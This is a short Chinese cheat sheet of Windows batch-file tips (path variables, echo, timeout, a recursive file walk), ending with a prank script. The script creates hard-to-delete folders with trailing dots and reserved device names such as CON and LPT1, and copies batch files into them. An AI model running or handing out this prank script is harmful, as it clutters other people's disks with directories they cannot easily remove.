获取当前盘符: echo %~d0
获取当前路径:echo %cd%
获取BAT本身的完整路径和文件名:echo %0
当前bat文件路径: echo %~dp0
当前bat文件短路径:echo %~sdp0
打印一个空行:echo. [注意echo与.之间没有空格,不是echo .]
让bat暂停10秒后再执行:timeout /t 10
超精悍的文件遍历脚本
run.bat:
@echo off
for /r d:/ %%i in (1) do call do.bat %%i
do.bat
echo %1
一个生成非法文件和文件夹的批处理程序
@echo off
for %%a in (黑 你 没 商 量 , 吼 吼 。) do (
md %%a.../ %%a.../.../
for %%b in (CON PRN AUX CLOCK$ NUL COM1 COM2 COM3 COM4 COM5 COM6 COM7 COM8 COM9 LPT1) do (
md %%a.../%%b/
copy *.bat "%%a.../%%b/"
md %%a.../%%b/con/
)
)